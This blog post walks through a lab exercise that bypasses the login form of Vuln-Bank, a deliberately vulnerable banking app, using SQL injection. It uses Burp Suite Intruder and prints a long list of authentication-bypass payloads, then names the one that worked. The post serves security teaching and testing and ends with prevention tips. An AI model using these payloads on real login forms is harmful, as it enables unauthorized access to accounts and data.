Post cover image

August 9, 2026

Taking Advantage of SQLi Vulnerability in the Login Form to Bypass Authentication (vuln-bank)

The login form is the first unauthenticated entry point to most web applications. When it’s vulnerable to SQL injection, attackers can…

By Ernestosindo

3 min read

The login form is the first unauthenticated entry point to most web applications. When it's vulnerable to SQL injection, attackers can completely circumvent authentication without knowing valid credentials. In this article, I will use the Vuln-Bank to demonstrate this perfectly.

How it works: Instead of entering a valid username and password, an attacker submits a specially crafted SQL payload that manipulates the backend query to always return true, granting access regardless of credentials.

Here's the catch: not all payloads can work on a specific target. This means you have to try multiple SQLi payloads to find one that works. Testing manually, one payload at a time, wastes considerable time.

My Approach: Using Burp Suite Intruder for Efficient Testing

Instead of manually testing each payload individually, I automated the process using Burp Suite's Intruder feature to test multiple payloads simultaneously against vuln-bank.

Step 1: Set Up the Test

I launched Burp Suite and accessed Vuln-Bank locally. I entered a non-existent username and password: Username: Kerubo Password: password

Result: "Invalid credentials" error

None

Step 2: Intercept the Request

I intercepted the login request in Burp Suite's Proxy and sent it to Intruder.

None

Step 3: Configure Intruder with Payload List

I marked the username parameter as the injection point, as shown above. (§Kerubo§)

Then I loaded a public SQL injection payload list from https://github.com/payload-box/sql-injection-payload-list

Specifically, the SQL Injection Auth Bypass Payloads section containing payloads like:

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Step 4: Start the Attack

I launched the Intruder attack. Burp tested all payloads rapidly against the login form, and I monitored for responses different from the standard "500" and "401" errors.

Step 5: Identify the Successful Payload

Most payloads returned the error message. However, a few payloads returned a different response: a successful login. One of these is: admin' or '1'='1

None None

Step 6: Manual Verification

I manually logged in using:

Username: admin' or '1'='1 Password: password (or use anything as a password)

Result: ✓ Successfully authenticated without knowing the real password or username.

None None

Why Burp Intruder Is More Effective

Testing 50+ payloads manually would take hours. Burp Intruder tests all payloads in minutes, providing a visual overview of which ones succeed. Instead of typing each payload and waiting for a response, I let automation handle the repetitive work and focused on analyzing the results.

You don't have to memorize or manually type every SQL injection payload. Public payload lists are available and continuously maintained. Use them.

How to Prevent This

Developers and Vibecoders must: Validate input: Reject suspicious characters and patterns Use the principle of least privilege: Database users should have minimal permissions (only what they need, no extra …) Harden error messages: Don't expose database details to users Deploy a WAF: Block SQLi patterns before reaching the application Monitor database activity: Alert on suspicious queries

Disclaimer: This content is for educational purposes on authorized systems only. Unauthorized access to computer systems is illegal.